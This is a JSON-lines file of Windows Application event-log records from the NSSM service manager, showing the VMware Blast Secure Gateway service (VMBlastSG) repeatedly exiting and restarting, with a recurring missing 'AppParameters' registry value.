{"@timestamp":1646685563689,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["154996","154996","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157560}}
{"@timestamp":1646685563705,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157561}}
{"@timestamp":1646685563705,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":157562}}
{"@timestamp":1646685563706,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157563}}
{"@timestamp":1646685563706,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":157564}}
{"@timestamp":1646685692427,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":157565}}
{"@timestamp":1646685692429,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":157566}}
{"@timestamp":1646685692430,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","155592","0"]}}},"module":"Application","provider":"nssm","sequence":157567}}
{"@timestamp":1646685692431,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["155592","155592","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157568}}
{"@timestamp":1646685692448,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157569}}
{"@timestamp":1646685692449,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":157570}}
{"@timestamp":1646685692449,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157571}}
{"@timestamp":1646685692450,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":157572}}
{"@timestamp":1646685821012,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":157573}}
{"@timestamp":1646685821013,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":157574}}
{"@timestamp":1646685821014,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","155180","0"]}}},"module":"Application","provider":"nssm","sequence":157575}}
{"@timestamp":1646685821015,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["155180","155180","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157576}}
{"@timestamp":1646685821031,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157577}}
{"@timestamp":1646685821032,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":157578}}
{"@timestamp":1646685821032,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157579}}
{"@timestamp":1646685821033,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":157580}}
{"@timestamp":1646685949530,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":157581}}
{"@timestamp":1646685949531,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":157582}}
{"@timestamp":1646685949531,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","154436","0"]}}},"module":"Application","provider":"nssm","sequence":157583}}
{"@timestamp":1646685949533,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["154436","154436","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157584}}
{"@timestamp":1646685949549,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157585}}
{"@timestamp":1646685949550,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":157586}}
{"@timestamp":1646685949550,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157587}}
{"@timestamp":1646685949551,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":157588}}
{"@timestamp":1646686078050,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":157589}}
{"@timestamp":1646686078051,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":157590}}
{"@timestamp":1646686078051,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","154964","0"]}}},"module":"Application","provider":"nssm","sequence":157591}}
{"@timestamp":1646686078052,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["154964","154964","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157592}}
{"@timestamp":1646686078068,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157593}}
{"@timestamp":1646686078069,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":157594}}
{"@timestamp":1646686078069,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157595}}
{"@timestamp":1646686078070,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":157596}}
{"@timestamp":1646686207191,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":157597}}
{"@timestamp":1646686207191,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":157598}}
{"@timestamp":1646686207193,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","149476","0"]}}},"module":"Application","provider":"nssm","sequence":157599}}
{"@timestamp":1646686207193,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["149476","149476","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157600}}
{"@timestamp":1646686207209,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157601}}
{"@timestamp":1646686207209,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":157602}}
{"@timestamp":1646686207210,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157603}}
{"@timestamp":1646686207211,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":157604}}
{"@timestamp":1646686335686,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":157605}}
{"@timestamp":1646686335687,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":157606}}
{"@timestamp":1646686335688,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","155156","0"]}}},"module":"Application","provider":"nssm","sequence":157607}}
{"@timestamp":1646686335688,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["155156","155156","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157608}}
{"@timestamp":1646686335704,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157609}}
{"@timestamp":1646686335705,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":157610}}
{"@timestamp":1646686335705,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157611}}
{"@timestamp":1646686335706,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":157612}}
{"@timestamp":1646686464191,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":157613}}
{"@timestamp":1646686464192,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":157614}}
{"@timestamp":1646686464192,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","154780","0"]}}},"module":"Application","provider":"nssm","sequence":157615}}
{"@timestamp":1646686464193,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["154780","154780","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157616}}
{"@timestamp":1646686464208,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157617}}
{"@timestamp":1646686464209,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":157618}}
{"@timestamp":1646686464209,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157619}}
{"@timestamp":1646686464210,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":157620}}
{"@timestamp":1646686592695,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":157621}}
{"@timestamp":1646686592697,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":157622}}
{"@timestamp":1646686592697,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","154968","0"]}}},"module":"Application","provider":"nssm","sequence":157623}}
{"@timestamp":1646686592698,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["154968","154968","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157624}}
{"@timestamp":1646686592715,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157625}}
{"@timestamp":1646686592715,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":157626}}
{"@timestamp":1646686592716,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157627}}
{"@timestamp":1646686592716,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":157628}}
{"@timestamp":1646686721454,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":157629}}
{"@timestamp":1646686721455,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":157630}}
{"@timestamp":1646686721456,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","155516","0"]}}},"module":"Application","provider":"nssm","sequence":157631}}
{"@timestamp":1646686721457,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["155516","155516","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157632}}
{"@timestamp":1646686721473,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157633}}
{"@timestamp":1646686721473,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":157634}}
{"@timestamp":1646686721474,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157635}}
{"@timestamp":1646686721475,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":157636}}
{"@timestamp":1646686849991,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":157637}}
{"@timestamp":1646686849992,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":157638}}
{"@timestamp":1646686849993,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","155120","0"]}}},"module":"Application","provider":"nssm","sequence":157639}}
{"@timestamp":1646686849994,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["155120","155120","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157640}}
{"@timestamp":1646686850009,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157641}}
{"@timestamp":1646686850009,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":157642}}
{"@timestamp":1646686850010,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157643}}
{"@timestamp":1646686850011,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":157644}}
{"@timestamp":1646686978534,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":157645}}
{"@timestamp":1646686978534,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":157646}}
{"@timestamp":1646686978535,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","154460","0"]}}},"module":"Application","provider":"nssm","sequence":157647}}
{"@timestamp":1646686978535,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["154460","154460","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157648}}
{"@timestamp":1646686978552,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157649}}
{"@timestamp":1646686978552,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":157650}}
{"@timestamp":1646686978553,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157651}}
{"@timestamp":1646686978554,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":157652}}
{"@timestamp":1646687107046,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":157653}}
{"@timestamp":1646687107048,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":157654}}
{"@timestamp":1646687107049,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","152784","0"]}}},"module":"Application","provider":"nssm","sequence":157655}}
{"@timestamp":1646687107050,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["152784","152784","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157656}}
{"@timestamp":1646687107065,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157657}}
{"@timestamp":1646687107065,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":157658}}
{"@timestamp":1646687107066,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157659}}
{"@timestamp":1646687107066,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":157660}}
{"@timestamp":1646687235926,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":157661}}
{"@timestamp":1646687235927,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":157662}}
{"@timestamp":1646687235927,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","155608","0"]}}},"module":"Application","provider":"nssm","sequence":157663}}
{"@timestamp":1646687235928,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["155608","155608","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157664}}
